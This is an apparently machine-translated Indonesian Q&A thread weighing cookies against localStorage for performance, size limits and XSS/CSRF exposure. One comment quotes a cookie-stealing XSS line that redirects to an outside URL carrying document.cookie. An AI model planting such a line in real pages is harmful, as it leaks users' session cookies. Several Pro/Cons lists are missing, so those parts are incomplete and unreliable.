Saya ingin mengurangi waktu muat di situs web saya dengan memindahkan semua cookie ke penyimpanan lokal karena tampaknya memiliki fungsi yang sama. Apakah ada pro / kontra (terutama dari segi kinerja) dalam menggunakan penyimpanan lokal untuk menggantikan fungsionalitas cookie kecuali untuk masalah kompatibilitas yang jelas?
html
cookies
httprequest
local-storage
Gio Borje
sumber
sumber
Jawaban:
Cookie dan penyimpanan lokal memiliki tujuan berbeda. Cookie terutama untuk membaca sisi server , penyimpanan lokal hanya dapat dibaca oleh sisi klien . Jadi pertanyaannya adalah, di aplikasi Anda, siapa yang butuh data ini - klien atau server?
Jika itu adalah klien Anda (JavaScript Anda), maka tentu saja beralihlah. Anda membuang-buang bandwidth dengan mengirimkan semua data di setiap tajuk HTTP.
Jika itu adalah server Anda, penyimpanan lokal tidak begitu berguna karena Anda harus meneruskan data itu entah bagaimana (dengan Ajax atau bidang formulir tersembunyi atau sesuatu). Ini mungkin baik-baik saja jika server hanya membutuhkan sebagian kecil dari total data untuk setiap permintaan.
Anda tetap ingin meninggalkan cookie sesi sebagai cookie.
Sesuai perbedaan teknis, dan juga pemahaman saya:
Selain sebagai cara lama menyimpan data, Cookies memberi Anda batas 4096 byte (4095, sebenarnya) - itu per cookie. Penyimpanan Lokal sebesar 5MB per domain - SO Pertanyaan juga menyebutkannya.
localStorage
adalah implementasi dariStorage
Antarmuka. Ia menyimpan data tanpa tanggal kedaluwarsa , dan hanya dihapus melalui JavaScript, atau membersihkan Tembolok Peramban / Data yang Disimpan Secara Lokal - tidak seperti cookie yang kedaluwarsa.sumber
sessionStorage
sebagai Cookie yang telah kedaluwarsa hingga Browser ditutup (bukan tab). @darkporter, terima kasih atas jawabannya. Namun, ingin mendengar perbedaan teknis antara Cookie dan Penyimpanan Lokal. menunggu hasil edit Anda.localStorage
tetap pada klien, sementaracookies
dikirim dengan header HTTP. Itulah perbedaan terbesar (tetapi bukan satu-satunya) di antara mereka.Dalam konteks JWT , Stormpath telah menulis artikel yang cukup membantu menguraikan cara-cara yang mungkin untuk menyimpannya, dan keuntungan (dis-) yang berkaitan dengan masing-masing metode.
Ini juga memiliki gambaran singkat tentang serangan XSS dan CSRF, dan bagaimana Anda dapat memerangi mereka.
Saya telah melampirkan beberapa cuplikan singkat dari artikel di bawah ini, jika artikel mereka diambil offline / situs mereka turun.
Penyimpanan lokal
Masalah:
Pencegahan:
Kue
Masalah:
Pencegahan:
Artikel lengkap dapat ditemukan di sini: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/
Mereka juga memiliki artikel bermanfaat tentang cara terbaik merancang dan mengimplementasikan JWT, berkaitan dengan struktur token itu sendiri: https://stormpath.com/blog/jwt-the-right-way/
sumber
localStorage
dapat diakses oleh skrip lain pada halaman ... Tapi begitu jugaXMLHttpRequest
... Dan ya bendera HttpOnly melindungi terhadap pencurian cookie tetapi browser tetap mengirimkannya ke domain yang cocok secara otomatis jadi ... pada dasarnya ketika Anda memiliki skrip berbahaya berjalan di halaman Anda, Anda sudah diretas.window.location = 'http://google.com?q=' + escape(document.cookie);
. Serangan ini memintas pemeriksaan browser CORS.Dengan
localStorage
, aplikasi web dapat menyimpan data secara lokal di dalam browser pengguna. Sebelum HTML5, data aplikasi harus disimpan dalam cookie, termasuk dalam setiap permintaan server. Sejumlah besar data dapat disimpan secara lokal, tanpa memengaruhi kinerja situs web. MeskipunlocalStorage
lebih modern, ada beberapa pro dan kontra untuk kedua teknik tersebut.Kue
Pro
Cons
Penyimpanan lokal
Pro
Cons
localStorage
penggunaannya hampir identik dengan sesi satu. Mereka memiliki metode yang sangat tepat, sehingga beralih dari sesi kelocalStorage
benar-benar permainan anak-anak. Namun, jika data yang disimpan benar-benar penting untuk aplikasi Anda, Anda mungkin akan menggunakan cookie karena cadangan jikalocalStorage
tidak tersedia. Jika Anda ingin memeriksa dukungan browserlocalStorage
, yang harus Anda lakukan adalah menjalankan skrip sederhana ini:sumber
Nah, kecepatan penyimpanan lokal sangat tergantung pada browser yang digunakan klien, serta sistem operasi. Chrome atau Safari di mac bisa jauh lebih cepat daripada Firefox di PC, terutama dengan API yang lebih baru. Seperti biasa, pengujian adalah teman Anda (saya tidak dapat menemukan tolok ukur).
Saya benar-benar tidak melihat perbedaan besar dalam cookie vs penyimpanan lokal. Selain itu, Anda harus lebih khawatir tentang masalah kompatibilitas: tidak semua browser bahkan mulai mendukung API HTML5 baru, sehingga cookie akan menjadi taruhan terbaik Anda untuk kecepatan dan kompatibilitas.
sumber
Perlu disebutkan juga bahwa
localStorage
tidak dapat digunakan ketika pengguna menjelajah dalam mode "pribadi" di beberapa versi Safari seluler.Dikutip dari MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):
sumber
Penyimpanan lokal dapat menyimpan hingga 5 mb data offline, sedangkan sesi juga dapat menyimpan hingga 5 mb data. Tetapi cookie hanya dapat menyimpan data 4kb dalam format teks.
Data penyimpanan LOCAl dan Session dalam format JSON, sehingga mudah diurai. Tetapi data cookie dalam format string.
sumber
Kue kering :
Penyimpanan lokal:
sumber